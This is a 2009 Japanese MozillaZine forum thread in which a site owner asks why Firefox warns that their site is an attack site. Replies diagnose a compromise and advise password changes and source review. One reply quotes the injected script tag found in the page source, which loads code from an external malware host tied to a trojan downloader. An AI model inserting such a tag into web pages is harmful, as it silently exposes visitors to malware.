| MozillaZine.jp フォーラム https://forums.mozillazine.jp/ |
|
| ウイルス表示？ https://forums.mozillazine.jp/viewtopic.php?f=30&t=9385 |
ページ 1 ／ 1 |
| 作成者: | mt [ 2009年11月17日(火) 16:35 ] |
| 記事の件名: | ウイルス表示？ |
http ://www.aeonflux.jp/ このサイトの運営者なのですが、 攻撃サイトとして報告されています！ と表示されます。。。 どうすれば治るのでしょうか？ よろしくお願いいたします。 ※ この話題は Firefox の機能とは直接関係のないものですので [ web 標準 ]フォーラムへ移動致します。 ※ 尚、次回からは適切なフォーラムを選択の上、投稿下さいますようお願い申し上げます。 ※ リダイレクト先にウィルスが仕込まれているとの情報がありましたので、URL に半角スペースを挿入してあります。ご注意下さい。 by moderator (ぼてじゃこ) |
|
| 作成者: | kiki [ 2009年11月17日(火) 18:37 ] |
| 記事の件名: | Re: ウイルス表示？ |
「攻撃サイトとして報告されています！」という警告メッセージが表示されます。 ウイルス表示ではありません。 その警告メッセージ内の「このサイトがブロックされる理由」をクリックすると 「このサイトの所有者であれば、Google ウェブマスター ツールを使ってサイト の審査を依頼することができます。審査プロセスの詳細については ウェブマ スター ヘルプをご覧ください。」 とあります。 誤報告で「攻撃サイト」にされたのであれば上記の説明に従い、サイトの審査 を依頼すればいいのではありませんか。 ＊質問・投稿する前に フォーラムの利用について をきちんと読みましょう。 ＊環境として OS の種類、Firefox のバージョンぐらいは書き添えましょう。 ＊質問した後は結果や経過を必ず書くようにしましょう。 |
|
| 作成者: | Sakiba [ 2009年11月19日(木) 14:09 ] |
| 記事の件名: | Re: ウイルス表示？ |
「このサイトがブロックされる理由」をクリックした先のページに 引用: 不正なソフトウェアは jn06.nl/ を含む 1 個のドメインでホストされています。
との表記が見られます。 トップページのソースを確認するとHTMLヘッダのすぐ下に コード: <script src=http://jn06.nl/countdown/wp-config.php ></script><body>
という１行があります。 もしかしたらウェブページに上記スクリプトを埋め込まれた可能性があるのではないでしょうか。 （私はあまり詳しくはありませんが）上記スクリプトによっておそらく他のページにリダイレクト （転送）され、そのリダイレクト先で「ユーザーの同意なしに不正なソフトウェアがダウンロード され、インストールされて」しまうのではないかと推測されます。 というのも実は、私も仕事の関係でさくらインターネットにホスティングしているページについて、 似たような攻撃を受けました。おそらく悪意のプログラムによる総当たりか何かの方法で、FTP パスワードがクラックされたのではないかと推測されました。幸いこちらの場合は、サイト上の セキュリティが働いて空白ページしか表示されないようになっておりましたので、攻撃サイトとの 指定を受けることもなく、閲覧者の被害もなかったと思われます。 もしかしたら同じ手口のものかもしれません。FTP等のパスワードをすべて変更し（こまめに変更 したほうがいいかと思われます）一度、すべてのページのソースをチェックされることをお勧めします。 それらが原因だとしたら、それを取り除かないと Google にいくら解除を申請してもダメではないかと 思われます。 |
|
| 作成者: | Sakiba [ 2009年11月19日(木) 14:47 ] |
| 記事の件名: | Re: ウイルス表示？ |
追記いたします。 リダイレクト先のサイトについてチェックしてみました。 ↓ ※誤って踏まないよう、URL中にわざと半角スペース入れてあります。 http ://jn06.nl/countdown/wp-config.php では何も表示されませんでしたが、 http ://jn06.nl/countdown/ とすると下記リンクの通り、 検出されたウイルス（ワーム、スパイウエア）Trojan-Downloader.JS.Shadraem.a との検出結果が出ました。 ● aguse.jp：調査結果 |
|
| 作成者: | 放置 [ 2009年11月19日(木) 19:01 ] |
| 記事の件名: | Re: ウイルス表示？ |
To Moderator. Sakibaさんのコメントを見る限りウイルスが仕込まれたサイトに誘導されるようなので, コメント #0のリンクは無効にし,注意書きされた方がよろしいかと |
|
| 作成者: | Sakiba [ 2009年11月20日(金) 10:05 ] |
| 記事の件名: | Re: ウイルス表示？ |
放置 さん さんが書きました: To Moderator.
Sakibaさんのコメントを見る限りウイルスが仕込まれたサイトに誘導されるようなので, コメント #0のリンクは無効にし,注意書きされた方がよろしいかと そうですよね、大変失礼しました。そこまで気が回っておりませんでした。 対応いただいた方、ありがとうございました。 ＃あと、記載されているサイトの著作権云々も気になるのですが……？ |
|
| ページ 1 ／ 1 | All times are UTC + 9 hours |
| Powered by phpBB® Forum Software © phpBB Group http://www.phpbb.com/ |
|